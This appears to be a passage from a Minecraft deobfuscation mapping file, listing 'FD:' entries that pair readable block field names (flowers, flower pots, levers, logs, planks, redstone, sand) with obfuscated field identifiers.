net/minecraft/block/BlockFlower$EnumFlowerType/ORANGE_TULIP net/minecraft/block/BlockFlower$EnumFlowerType/ORANGE_TULIP +FD: net/minecraft/block/BlockFlower$EnumFlowerType/WHITE_TULIP net/minecraft/block/BlockFlower$EnumFlowerType/WHITE_TULIP +FD: net/minecraft/block/BlockFlower$EnumFlowerType/PINK_TULIP net/minecraft/block/BlockFlower$EnumFlowerType/PINK_TULIP +FD: net/minecraft/block/BlockFlower$EnumFlowerType/OXEYE_DAISY net/minecraft/block/BlockFlower$EnumFlowerType/OXEYE_DAISY +FD: net/minecraft/block/BlockFlower$EnumFlowerType/TYPES_FOR_BLOCK net/minecraft/block/BlockFlower$EnumFlowerType/field_176981_k +FD: net/minecraft/block/BlockFlower$EnumFlowerType/blockType net/minecraft/block/BlockFlower$EnumFlowerType/field_176978_l +FD: net/minecraft/block/BlockFlower$EnumFlowerType/meta net/minecraft/block/BlockFlower$EnumFlowerType/field_176979_m +FD: net/minecraft/block/BlockFlower$EnumFlowerType/name net/minecraft/block/BlockFlower$EnumFlowerType/field_176976_n +FD: net/minecraft/block/BlockFlower$EnumFlowerType/unlocalizedName net/minecraft/block/BlockFlower$EnumFlowerType/field_176977_o +FD: net/minecraft/block/BlockFlower$EnumFlowerType/$VALUES net/minecraft/block/BlockFlower$EnumFlowerType/$VALUES +FD: net/minecraft/block/BlockFlower$EnumFlowerColor/YELLOW net/minecraft/block/BlockFlower$EnumFlowerColor/YELLOW +FD: net/minecraft/block/BlockFlower$EnumFlowerColor/RED net/minecraft/block/BlockFlower$EnumFlowerColor/RED +FD: net/minecraft/block/BlockFlower$EnumFlowerColor/$VALUES net/minecraft/block/BlockFlower$EnumFlowerColor/$VALUES +FD: net/minecraft/block/BlockFlower/type net/minecraft/block/BlockFlower/field_176496_a +FD: net/minecraft/block/BlockFlowerPot$1/field_180353_a net/minecraft/block/BlockFlowerPot$1/field_180353_a +FD: net/minecraft/block/BlockFlowerPot$1/field_180352_b net/minecraft/block/BlockFlowerPot$1/field_180352_b +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/EMPTY net/minecraft/block/BlockFlowerPot$EnumFlowerType/EMPTY +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/POPPY net/minecraft/block/BlockFlowerPot$EnumFlowerType/POPPY +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/BLUE_ORCHID net/minecraft/block/BlockFlowerPot$EnumFlowerType/BLUE_ORCHID +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/ALLIUM net/minecraft/block/BlockFlowerPot$EnumFlowerType/ALLIUM +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/HOUSTONIA net/minecraft/block/BlockFlowerPot$EnumFlowerType/HOUSTONIA +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/RED_TULIP net/minecraft/block/BlockFlowerPot$EnumFlowerType/RED_TULIP +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/ORANGE_TULIP net/minecraft/block/BlockFlowerPot$EnumFlowerType/ORANGE_TULIP +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/WHITE_TULIP net/minecraft/block/BlockFlowerPot$EnumFlowerType/WHITE_TULIP +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/PINK_TULIP net/minecraft/block/BlockFlowerPot$EnumFlowerType/PINK_TULIP +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/OXEYE_DAISY net/minecraft/block/BlockFlowerPot$EnumFlowerType/OXEYE_DAISY +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/DANDELION net/minecraft/block/BlockFlowerPot$EnumFlowerType/DANDELION +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/OAK_SAPLING net/minecraft/block/BlockFlowerPot$EnumFlowerType/OAK_SAPLING +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/SPRUCE_SAPLING net/minecraft/block/BlockFlowerPot$EnumFlowerType/SPRUCE_SAPLING +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/BIRCH_SAPLING net/minecraft/block/BlockFlowerPot$EnumFlowerType/BIRCH_SAPLING +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/JUNGLE_SAPLING net/minecraft/block/BlockFlowerPot$EnumFlowerType/JUNGLE_SAPLING +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/ACACIA_SAPLING net/minecraft/block/BlockFlowerPot$EnumFlowerType/ACACIA_SAPLING +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/DARK_OAK_SAPLING net/minecraft/block/BlockFlowerPot$EnumFlowerType/DARK_OAK_SAPLING +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/MUSHROOM_RED net/minecraft/block/BlockFlowerPot$EnumFlowerType/MUSHROOM_RED +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/MUSHROOM_BROWN net/minecraft/block/BlockFlowerPot$EnumFlowerType/MUSHROOM_BROWN +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/DEAD_BUSH net/minecraft/block/BlockFlowerPot$EnumFlowerType/DEAD_BUSH +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/FERN net/minecraft/block/BlockFlowerPot$EnumFlowerType/FERN +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/CACTUS net/minecraft/block/BlockFlowerPot$EnumFlowerType/CACTUS +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/name net/minecraft/block/BlockFlowerPot$EnumFlowerType/field_177006_w +FD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/$VALUES net/minecraft/block/BlockFlowerPot$EnumFlowerType/$VALUES +FD: net/minecraft/block/BlockFlowerPot/LEGACY_DATA net/minecraft/block/BlockFlowerPot/field_176444_a +FD: net/minecraft/block/BlockFlowerPot/CONTENTS net/minecraft/block/BlockFlowerPot/field_176443_b +FD: net/minecraft/block/BlockFurnace$1/field_180356_a net/minecraft/block/BlockFurnace$1/field_180356_a +FD: net/minecraft/block/BlockFurnace/keepInventory net/minecraft/block/BlockFurnace/field_149934_M +FD: net/minecraft/block/BlockFurnace/FACING net/minecraft/block/BlockFurnace/field_176447_a +FD: net/minecraft/block/BlockFurnace/isBurning net/minecraft/block/BlockFurnace/field_149932_b +FD: net/minecraft/block/BlockGrass/SNOWY net/minecraft/block/BlockGrass/field_176498_a +FD: net/minecraft/block/BlockSlab$EnumBlockHalf/TOP net/minecraft/block/BlockSlab$EnumBlockHalf/TOP +FD: net/minecraft/block/BlockSlab$EnumBlockHalf/BOTTOM net/minecraft/block/BlockSlab$EnumBlockHalf/BOTTOM +FD: net/minecraft/block/BlockSlab$EnumBlockHalf/name net/minecraft/block/BlockSlab$EnumBlockHalf/field_176988_c +FD: net/minecraft/block/BlockSlab$EnumBlockHalf/$VALUES net/minecraft/block/BlockSlab$EnumBlockHalf/$VALUES +FD: net/minecraft/block/BlockSlab/HALF net/minecraft/block/BlockSlab/field_176554_a +FD: net/minecraft/block/BlockBreakable/ignoreSimilarity net/minecraft/block/BlockBreakable/field_149996_a +FD: net/minecraft/block/BlockHopper/FACING net/minecraft/block/BlockHopper/field_176430_a +FD: net/minecraft/block/BlockHopper/ENABLED net/minecraft/block/BlockHopper/field_176429_b +FD: net/minecraft/block/BlockHugeMushroom$1/field_181092_a net/minecraft/block/BlockHugeMushroom$1/field_181092_a +FD: net/minecraft/block/BlockHugeMushroom$EnumType/NORTH_WEST net/minecraft/block/BlockHugeMushroom$EnumType/NORTH_WEST +FD: net/minecraft/block/BlockHugeMushroom$EnumType/NORTH net/minecraft/block/BlockHugeMushroom$EnumType/NORTH +FD: net/minecraft/block/BlockHugeMushroom$EnumType/NORTH_EAST net/minecraft/block/BlockHugeMushroom$EnumType/NORTH_EAST +FD: net/minecraft/block/BlockHugeMushroom$EnumType/WEST net/minecraft/block/BlockHugeMushroom$EnumType/WEST +FD: net/minecraft/block/BlockHugeMushroom$EnumType/CENTER net/minecraft/block/BlockHugeMushroom$EnumType/CENTER +FD: net/minecraft/block/BlockHugeMushroom$EnumType/EAST net/minecraft/block/BlockHugeMushroom$EnumType/EAST +FD: net/minecraft/block/BlockHugeMushroom$EnumType/SOUTH_WEST net/minecraft/block/BlockHugeMushroom$EnumType/SOUTH_WEST +FD: net/minecraft/block/BlockHugeMushroom$EnumType/SOUTH net/minecraft/block/BlockHugeMushroom$EnumType/SOUTH +FD: net/minecraft/block/BlockHugeMushroom$EnumType/SOUTH_EAST net/minecraft/block/BlockHugeMushroom$EnumType/SOUTH_EAST +FD: net/minecraft/block/BlockHugeMushroom$EnumType/STEM net/minecraft/block/BlockHugeMushroom$EnumType/STEM +FD: net/minecraft/block/BlockHugeMushroom$EnumType/ALL_INSIDE net/minecraft/block/BlockHugeMushroom$EnumType/ALL_INSIDE +FD: net/minecraft/block/BlockHugeMushroom$EnumType/ALL_OUTSIDE net/minecraft/block/BlockHugeMushroom$EnumType/ALL_OUTSIDE +FD: net/minecraft/block/BlockHugeMushroom$EnumType/ALL_STEM net/minecraft/block/BlockHugeMushroom$EnumType/ALL_STEM +FD: net/minecraft/block/BlockHugeMushroom$EnumType/META_LOOKUP net/minecraft/block/BlockHugeMushroom$EnumType/field_176905_n +FD: net/minecraft/block/BlockHugeMushroom$EnumType/meta net/minecraft/block/BlockHugeMushroom$EnumType/field_176906_o +FD: net/minecraft/block/BlockHugeMushroom$EnumType/name net/minecraft/block/BlockHugeMushroom$EnumType/field_176914_p +FD: net/minecraft/block/BlockHugeMushroom$EnumType/$VALUES net/minecraft/block/BlockHugeMushroom$EnumType/$VALUES +FD: net/minecraft/block/BlockHugeMushroom/VARIANT net/minecraft/block/BlockHugeMushroom/field_176380_a +FD: net/minecraft/block/BlockHugeMushroom/smallBlock net/minecraft/block/BlockHugeMushroom/field_176379_b +FD: net/minecraft/block/BlockJukebox$TileEntityJukebox/record net/minecraft/block/BlockJukebox$TileEntityJukebox/field_145858_a +FD: net/minecraft/block/BlockJukebox/HAS_RECORD net/minecraft/block/BlockJukebox/field_176432_a +FD: net/minecraft/block/BlockLadder$1/field_180190_a net/minecraft/block/BlockLadder$1/field_180190_a +FD: net/minecraft/block/BlockLadder/FACING net/minecraft/block/BlockLadder/field_176382_a +FD: net/minecraft/block/BlockLeaves/surroundings net/minecraft/block/BlockLeaves/field_150128_a +FD: net/minecraft/block/BlockLeaves/iconIndex net/minecraft/block/BlockLeaves/field_150127_b +FD: net/minecraft/block/BlockLeaves/isTransparent net/minecraft/block/BlockLeaves/field_176238_O +FD: net/minecraft/block/BlockLeaves/DECAYABLE net/minecraft/block/BlockLeaves/field_176237_a +FD: net/minecraft/block/BlockLeaves/CHECK_DECAY net/minecraft/block/BlockLeaves/field_176236_b +FD: net/minecraft/block/BlockLever$1/field_180165_a net/minecraft/block/BlockLever$1/field_180165_a +FD: net/minecraft/block/BlockLever$1/field_180163_b net/minecraft/block/BlockLever$1/field_180163_b +FD: net/minecraft/block/BlockLever$1/field_180164_c net/minecraft/block/BlockLever$1/field_180164_c +FD: net/minecraft/block/BlockLever$EnumOrientation/DOWN_X net/minecraft/block/BlockLever$EnumOrientation/DOWN_X +FD: net/minecraft/block/BlockLever$EnumOrientation/EAST net/minecraft/block/BlockLever$EnumOrientation/EAST +FD: net/minecraft/block/BlockLever$EnumOrientation/WEST net/minecraft/block/BlockLever$EnumOrientation/WEST +FD: net/minecraft/block/BlockLever$EnumOrientation/SOUTH net/minecraft/block/BlockLever$EnumOrientation/SOUTH +FD: net/minecraft/block/BlockLever$EnumOrientation/NORTH net/minecraft/block/BlockLever$EnumOrientation/NORTH +FD: net/minecraft/block/BlockLever$EnumOrientation/UP_Z net/minecraft/block/BlockLever$EnumOrientation/UP_Z +FD: net/minecraft/block/BlockLever$EnumOrientation/UP_X net/minecraft/block/BlockLever$EnumOrientation/UP_X +FD: net/minecraft/block/BlockLever$EnumOrientation/DOWN_Z net/minecraft/block/BlockLever$EnumOrientation/DOWN_Z +FD: net/minecraft/block/BlockLever$EnumOrientation/META_LOOKUP net/minecraft/block/BlockLever$EnumOrientation/field_176869_i +FD: net/minecraft/block/BlockLever$EnumOrientation/meta net/minecraft/block/BlockLever$EnumOrientation/field_176866_j +FD: net/minecraft/block/BlockLever$EnumOrientation/name net/minecraft/block/BlockLever$EnumOrientation/field_176867_k +FD: net/minecraft/block/BlockLever$EnumOrientation/facing net/minecraft/block/BlockLever$EnumOrientation/field_176864_l +FD: net/minecraft/block/BlockLever$EnumOrientation/$VALUES net/minecraft/block/BlockLever$EnumOrientation/$VALUES +FD: net/minecraft/block/BlockLever/FACING net/minecraft/block/BlockLever/field_176360_a +FD: net/minecraft/block/BlockLever/POWERED net/minecraft/block/BlockLever/field_176359_b +FD: net/minecraft/block/BlockLiquid/LEVEL net/minecraft/block/BlockLiquid/field_176367_b +FD: net/minecraft/block/BlockLog$1/field_180167_a net/minecraft/block/BlockLog$1/field_180167_a +FD: net/minecraft/block/BlockLog$EnumAxis/X net/minecraft/block/BlockLog$EnumAxis/X +FD: net/minecraft/block/BlockLog$EnumAxis/Y net/minecraft/block/BlockLog$EnumAxis/Y +FD: net/minecraft/block/BlockLog$EnumAxis/Z net/minecraft/block/BlockLog$EnumAxis/Z +FD: net/minecraft/block/BlockLog$EnumAxis/NONE net/minecraft/block/BlockLog$EnumAxis/NONE +FD: net/minecraft/block/BlockLog$EnumAxis/name net/minecraft/block/BlockLog$EnumAxis/field_176874_e +FD: net/minecraft/block/BlockLog$EnumAxis/$VALUES net/minecraft/block/BlockLog$EnumAxis/$VALUES +FD: net/minecraft/block/BlockLog/LOG_AXIS net/minecraft/block/BlockLog/field_176299_a +FD: net/minecraft/block/BlockSilverfish$1/field_180178_a net/minecraft/block/BlockSilverfish$1/field_180178_a +FD: net/minecraft/block/BlockSilverfish$EnumType/STONE net/minecraft/block/BlockSilverfish$EnumType/STONE +FD: net/minecraft/block/BlockSilverfish$EnumType/COBBLESTONE net/minecraft/block/BlockSilverfish$EnumType/COBBLESTONE +FD: net/minecraft/block/BlockSilverfish$EnumType/STONEBRICK net/minecraft/block/BlockSilverfish$EnumType/STONEBRICK +FD: net/minecraft/block/BlockSilverfish$EnumType/MOSSY_STONEBRICK net/minecraft/block/BlockSilverfish$EnumType/MOSSY_STONEBRICK +FD: net/minecraft/block/BlockSilverfish$EnumType/CRACKED_STONEBRICK net/minecraft/block/BlockSilverfish$EnumType/CRACKED_STONEBRICK +FD: net/minecraft/block/BlockSilverfish$EnumType/CHISELED_STONEBRICK net/minecraft/block/BlockSilverfish$EnumType/CHISELED_STONEBRICK +FD: net/minecraft/block/BlockSilverfish$EnumType/META_LOOKUP net/minecraft/block/BlockSilverfish$EnumType/field_176885_g +FD: net/minecraft/block/BlockSilverfish$EnumType/meta net/minecraft/block/BlockSilverfish$EnumType/field_176893_h +FD: net/minecraft/block/BlockSilverfish$EnumType/name net/minecraft/block/BlockSilverfish$EnumType/field_176894_i +FD: net/minecraft/block/BlockSilverfish$EnumType/unlocalizedName net/minecraft/block/BlockSilverfish$EnumType/field_176891_j +FD: net/minecraft/block/BlockSilverfish$EnumType/$VALUES net/minecraft/block/BlockSilverfish$EnumType/$VALUES +FD: net/minecraft/block/BlockSilverfish/VARIANT net/minecraft/block/BlockSilverfish/field_176378_a +FD: net/minecraft/block/BlockMycelium/SNOWY net/minecraft/block/BlockMycelium/field_176384_a +FD: net/minecraft/block/BlockNetherWart/AGE net/minecraft/block/BlockNetherWart/field_176486_a +FD: net/minecraft/block/BlockNewLeaf/VARIANT net/minecraft/block/BlockNewLeaf/field_176240_P +FD: net/minecraft/block/BlockNewLog$2/field_181093_a net/minecraft/block/BlockNewLog$2/field_181093_a +FD: net/minecraft/block/BlockNewLog$2/field_180191_a net/minecraft/block/BlockNewLog$2/field_180191_a +FD: net/minecraft/block/BlockNewLog/VARIANT net/minecraft/block/BlockNewLog/field_176300_b +FD: net/minecraft/block/BlockStoneSlabNew$EnumType/RED_SANDSTONE net/minecraft/block/BlockStoneSlabNew$EnumType/RED_SANDSTONE +FD: net/minecraft/block/BlockStoneSlabNew$EnumType/META_LOOKUP net/minecraft/block/BlockStoneSlabNew$EnumType/field_176921_b +FD: net/minecraft/block/BlockStoneSlabNew$EnumType/meta net/minecraft/block/BlockStoneSlabNew$EnumType/field_176922_c +FD: net/minecraft/block/BlockStoneSlabNew$EnumType/name net/minecraft/block/BlockStoneSlabNew$EnumType/field_176919_d +FD: net/minecraft/block/BlockStoneSlabNew$EnumType/field_181069_e net/minecraft/block/BlockStoneSlabNew$EnumType/field_181069_e +FD: net/minecraft/block/BlockStoneSlabNew$EnumType/$VALUES net/minecraft/block/BlockStoneSlabNew$EnumType/$VALUES +FD: net/minecraft/block/BlockStoneSlabNew/VARIANT net/minecraft/block/BlockStoneSlabNew/field_176559_M +FD: net/minecraft/block/BlockStoneSlabNew/SEAMLESS net/minecraft/block/BlockStoneSlabNew/field_176558_b +FD: net/minecraft/block/BlockNote/INSTRUMENTS net/minecraft/block/BlockNote/field_176434_a +FD: net/minecraft/block/BlockOldLeaf/VARIANT net/minecraft/block/BlockOldLeaf/field_176239_P +FD: net/minecraft/block/BlockOldLog$2/field_181094_a net/minecraft/block/BlockOldLog$2/field_181094_a +FD: net/minecraft/block/BlockOldLog$2/field_180203_a net/minecraft/block/BlockOldLog$2/field_180203_a +FD: net/minecraft/block/BlockOldLog/VARIANT net/minecraft/block/BlockOldLog/field_176301_b +FD: net/minecraft/block/BlockPlanks$EnumType/OAK net/minecraft/block/BlockPlanks$EnumType/OAK +FD: net/minecraft/block/BlockPlanks$EnumType/SPRUCE net/minecraft/block/BlockPlanks$EnumType/SPRUCE +FD: net/minecraft/block/BlockPlanks$EnumType/BIRCH net/minecraft/block/BlockPlanks$EnumType/BIRCH +FD: net/minecraft/block/BlockPlanks$EnumType/JUNGLE net/minecraft/block/BlockPlanks$EnumType/JUNGLE +FD: net/minecraft/block/BlockPlanks$EnumType/ACACIA net/minecraft/block/BlockPlanks$EnumType/ACACIA +FD: net/minecraft/block/BlockPlanks$EnumType/DARK_OAK net/minecraft/block/BlockPlanks$EnumType/DARK_OAK +FD: net/minecraft/block/BlockPlanks$EnumType/META_LOOKUP net/minecraft/block/BlockPlanks$EnumType/field_176842_g +FD: net/minecraft/block/BlockPlanks$EnumType/meta net/minecraft/block/BlockPlanks$EnumType/field_176850_h +FD: net/minecraft/block/BlockPlanks$EnumType/name net/minecraft/block/BlockPlanks$EnumType/field_176851_i +FD: net/minecraft/block/BlockPlanks$EnumType/unlocalizedName net/minecraft/block/BlockPlanks$EnumType/field_176848_j +FD: net/minecraft/block/BlockPlanks$EnumType/mapColor net/minecraft/block/BlockPlanks$EnumType/field_181071_k +FD: net/minecraft/block/BlockPlanks$EnumType/$VALUES net/minecraft/block/BlockPlanks$EnumType/$VALUES +FD: net/minecraft/block/BlockPlanks/VARIANT net/minecraft/block/BlockPlanks/field_176383_a +FD: net/minecraft/block/BlockPortal$Size/world net/minecraft/block/BlockPortal$Size/field_150867_a +FD: net/minecraft/block/BlockPortal$Size/axis net/minecraft/block/BlockPortal$Size/field_150865_b +FD: net/minecraft/block/BlockPortal$Size/field_150866_c net/minecraft/block/BlockPortal$Size/field_150866_c +FD: net/minecraft/block/BlockPortal$Size/field_150863_d net/minecraft/block/BlockPortal$Size/field_150863_d +FD: net/minecraft/block/BlockPortal$Size/field_150864_e net/minecraft/block/BlockPortal$Size/field_150864_e +FD: net/minecraft/block/BlockPortal$Size/field_150861_f net/minecraft/block/BlockPortal$Size/field_150861_f +FD: net/minecraft/block/BlockPortal$Size/field_150862_g net/minecraft/block/BlockPortal$Size/field_150862_g +FD: net/minecraft/block/BlockPortal$Size/field_150868_h net/minecraft/block/BlockPortal$Size/field_150868_h +FD: net/minecraft/block/BlockPortal/AXIS net/minecraft/block/BlockPortal/field_176550_a +FD: net/minecraft/block/BlockRailPowered$2/field_180121_a net/minecraft/block/BlockRailPowered$2/field_180121_a +FD: net/minecraft/block/BlockRailPowered/POWERED net/minecraft/block/BlockRailPowered/field_176569_M +FD: net/minecraft/block/BlockRailPowered/SHAPE net/minecraft/block/BlockRailPowered/field_176568_b +FD: net/minecraft/block/BlockPressurePlate$1/field_180127_a net/minecraft/block/BlockPressurePlate$1/field_180127_a +FD: net/minecraft/block/BlockPressurePlate$Sensitivity/EVERYTHING net/minecraft/block/BlockPressurePlate$Sensitivity/EVERYTHING +FD: net/minecraft/block/BlockPressurePlate$Sensitivity/MOBS net/minecraft/block/BlockPressurePlate$Sensitivity/MOBS +FD: net/minecraft/block/BlockPressurePlate$Sensitivity/$VALUES net/minecraft/block/BlockPressurePlate$Sensitivity/$VALUES +FD: net/minecraft/block/BlockPressurePlate/POWERED net/minecraft/block/BlockPressurePlate/field_176580_a +FD: net/minecraft/block/BlockPressurePlate/sensitivity net/minecraft/block/BlockPressurePlate/field_150069_a +FD: net/minecraft/block/BlockPrismarine$EnumType/ROUGH net/minecraft/block/BlockPrismarine$EnumType/ROUGH +FD: net/minecraft/block/BlockPrismarine$EnumType/BRICKS net/minecraft/block/BlockPrismarine$EnumType/BRICKS +FD: net/minecraft/block/BlockPrismarine$EnumType/DARK net/minecraft/block/BlockPrismarine$EnumType/DARK +FD: net/minecraft/block/BlockPrismarine$EnumType/META_LOOKUP net/minecraft/block/BlockPrismarine$EnumType/field_176813_d +FD: net/minecraft/block/BlockPrismarine$EnumType/meta net/minecraft/block/BlockPrismarine$EnumType/field_176814_e +FD: net/minecraft/block/BlockPrismarine$EnumType/name net/minecraft/block/BlockPrismarine$EnumType/field_176811_f +FD: net/minecraft/block/BlockPrismarine$EnumType/unlocalizedName net/minecraft/block/BlockPrismarine$EnumType/field_176812_g +FD: net/minecraft/block/BlockPrismarine$EnumType/$VALUES net/minecraft/block/BlockPrismarine$EnumType/$VALUES +FD: net/minecraft/block/BlockPrismarine/BRICKS_META net/minecraft/block/BlockPrismarine/field_176333_M +FD: net/minecraft/block/BlockPrismarine/DARK_META net/minecraft/block/BlockPrismarine/field_176334_N +FD: net/minecraft/block/BlockPrismarine/VARIANT net/minecraft/block/BlockPrismarine/field_176332_a +FD: net/minecraft/block/BlockPrismarine/ROUGH_META net/minecraft/block/BlockPrismarine/field_176331_b +FD: net/minecraft/block/BlockPumpkin/golemBasePattern net/minecraft/block/BlockPumpkin/field_176395_M +FD: net/minecraft/block/BlockPumpkin/golemPattern net/minecraft/block/BlockPumpkin/field_176396_O +FD: net/minecraft/block/BlockPumpkin/field_181085_Q net/minecraft/block/BlockPumpkin/field_181085_Q +FD: net/minecraft/block/BlockPumpkin/snowmanBasePattern net/minecraft/block/BlockPumpkin/field_176394_a +FD: net/minecraft/block/BlockPumpkin/snowmanPattern net/minecraft/block/BlockPumpkin/field_176393_b +FD: net/minecraft/block/BlockQuartz$1/field_180101_a net/minecraft/block/BlockQuartz$1/field_180101_a +FD: net/minecraft/block/BlockQuartz$EnumType/DEFAULT net/minecraft/block/BlockQuartz$EnumType/DEFAULT +FD: net/minecraft/block/BlockQuartz$EnumType/CHISELED net/minecraft/block/BlockQuartz$EnumType/CHISELED +FD: net/minecraft/block/BlockQuartz$EnumType/LINES_Y net/minecraft/block/BlockQuartz$EnumType/LINES_Y +FD: net/minecraft/block/BlockQuartz$EnumType/LINES_X net/minecraft/block/BlockQuartz$EnumType/LINES_X +FD: net/minecraft/block/BlockQuartz$EnumType/LINES_Z net/minecraft/block/BlockQuartz$EnumType/LINES_Z +FD: net/minecraft/block/BlockQuartz$EnumType/META_LOOKUP net/minecraft/block/BlockQuartz$EnumType/field_176797_f +FD: net/minecraft/block/BlockQuartz$EnumType/meta net/minecraft/block/BlockQuartz$EnumType/field_176798_g +FD: net/minecraft/block/BlockQuartz$EnumType/field_176805_h net/minecraft/block/BlockQuartz$EnumType/field_176805_h +FD: net/minecraft/block/BlockQuartz$EnumType/unlocalizedName net/minecraft/block/BlockQuartz$EnumType/field_176806_i +FD: net/minecraft/block/BlockQuartz$EnumType/$VALUES net/minecraft/block/BlockQuartz$EnumType/$VALUES +FD: net/minecraft/block/BlockQuartz/VARIANT net/minecraft/block/BlockQuartz/field_176335_a +FD: net/minecraft/block/BlockRail/SHAPE net/minecraft/block/BlockRail/field_176565_b +FD: net/minecraft/block/BlockRedSandstone$EnumType/DEFAULT net/minecraft/block/BlockRedSandstone$EnumType/DEFAULT +FD: net/minecraft/block/BlockRedSandstone$EnumType/CHISELED net/minecraft/block/BlockRedSandstone$EnumType/CHISELED +FD: net/minecraft/block/BlockRedSandstone$EnumType/SMOOTH net/minecraft/block/BlockRedSandstone$EnumType/SMOOTH +FD: net/minecraft/block/BlockRedSandstone$EnumType/META_LOOKUP net/minecraft/block/BlockRedSandstone$EnumType/field_176831_d +FD: net/minecraft/block/BlockRedSandstone$EnumType/meta net/minecraft/block/BlockRedSandstone$EnumType/field_176832_e +FD: net/minecraft/block/BlockRedSandstone$EnumType/name net/minecraft/block/BlockRedSandstone$EnumType/field_176829_f +FD: net/minecraft/block/BlockRedSandstone$EnumType/unlocalizedName net/minecraft/block/BlockRedSandstone$EnumType/field_176830_g +FD: net/minecraft/block/BlockRedSandstone$EnumType/$VALUES net/minecraft/block/BlockRedSandstone$EnumType/$VALUES +FD: net/minecraft/block/BlockRedSandstone/TYPE net/minecraft/block/BlockRedSandstone/field_176336_a +FD: net/minecraft/block/BlockRedstoneOre/isOn net/minecraft/block/BlockRedstoneOre/field_150187_a +FD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/UP net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/UP +FD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/SIDE net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/SIDE +FD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/NONE net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/NONE +FD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/name net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/field_176820_d +FD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/$VALUES net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/$VALUES +FD: net/minecraft/block/BlockRedstoneWire/SOUTH net/minecraft/block/BlockRedstoneWire/field_176349_M +FD: net/minecraft/block/BlockRedstoneWire/WEST net/minecraft/block/BlockRedstoneWire/field_176350_N +FD: net/minecraft/block/BlockRedstoneWire/POWER net/minecraft/block/BlockRedstoneWire/field_176351_O +FD: net/minecraft/block/BlockRedstoneWire/canProvidePower net/minecraft/block/BlockRedstoneWire/field_150181_a +FD: net/minecraft/block/BlockRedstoneWire/blocksNeedingUpdate net/minecraft/block/BlockRedstoneWire/field_150179_b +FD: net/minecraft/block/BlockRedstoneWire/NORTH net/minecraft/block/BlockRedstoneWire/field_176348_a +FD: net/minecraft/block/BlockRedstoneWire/EAST net/minecraft/block/BlockRedstoneWire/field_176347_b +FD: net/minecraft/block/BlockRedstoneLight/isOn net/minecraft/block/BlockRedstoneLight/field_150171_a +FD: net/minecraft/block/BlockRedstoneTorch$Toggle/pos net/minecraft/block/BlockRedstoneTorch$Toggle/field_180111_a +FD: net/minecraft/block/BlockRedstoneTorch$Toggle/time net/minecraft/block/BlockRedstoneTorch$Toggle/field_150844_d +FD: net/minecraft/block/BlockRedstoneTorch/isOn net/minecraft/block/BlockRedstoneTorch/field_150113_a +FD: net/minecraft/block/BlockRedstoneTorch/toggles net/minecraft/block/BlockRedstoneTorch/field_150112_b +FD: net/minecraft/block/BlockReed/AGE net/minecraft/block/BlockReed/field_176355_a +FD: net/minecraft/block/BlockRedstoneRepeater/LOCKED net/minecraft/block/BlockRedstoneRepeater/field_176411_a +FD: net/minecraft/block/BlockRedstoneRepeater/DELAY net/minecraft/block/BlockRedstoneRepeater/field_176410_b +FD: net/minecraft/block/BlockRotatedPillar/AXIS net/minecraft/block/BlockRotatedPillar/field_176298_M +FD: net/minecraft/block/BlockSand$EnumType/SAND net/minecraft/block/BlockSand$EnumType/SAND +FD: net/minecraft/block/BlockSand$EnumType/RED_SAND net/minecraft/block/BlockSand$EnumType/RED_SAND +FD: net/minecraft/block/BlockSand$EnumType/META_LOOKUP net/minecraft/block/BlockSand$EnumType/field_176695_c +FD: net/minecraft/block/BlockSand$EnumType/meta net/minecraft/block/BlockSand$EnumType/field_176692_d +FD: net/minecraft/block/BlockSand$EnumType/name net/minecraft/block/BlockSand$EnumType/field_176693_e +FD: net/minecraft/block/BlockSand$EnumType/mapColor net/minecraft/block/BlockSand$EnumType/field_176690_f +FD: net/minecraft/block/BlockSand$EnumType/unlocalizedName net/minecraft/block/BlockSand$EnumType/field_176691_g +FD: net/minecraft/block/BlockSand$EnumType/$VALUES net/minecraft/block/BlockSand$EnumType/$VALUES +FD: net/minecraft/block/BlockSand/VARIANT net/minecraft/block/BlockSand/field_176504_a +FD: net/minecraft/block/BlockSandStone$EnumType/DEFAULT net/minecraft/block/BlockSandStone$EnumType/DEFAULT +FD: net/minecraft/block/BlockSandStone$EnumType/CHISELED net/minecraft/block/BlockSandStone$EnumType/CHISELED +FD: net/minecraft/block/BlockSandStone$EnumType/SMOOTH net/minecraft/block/BlockSandStone$EnumType/SMOOTH +FD: net/minecraft/block/BlockSandStone$EnumType/META_LOOKUP net/minecraft/block/BlockSandStone$EnumType/field_176679_d +FD: net/minecraft/block/BlockSandStone$EnumType/metadata net/minecraft/block/BlockSandStone$EnumType/field_176680_e +FD: net/minecraft/block/BlockSandStone$EnumType/name net/minecraft/block/BlockSandStone$EnumType/field_176677_f +FD: net/minecraft/block/BlockSandStone$EnumType/unlocalizedName net/minecraft/block/BlockSandStone$EnumType/field_176678_g +FD: 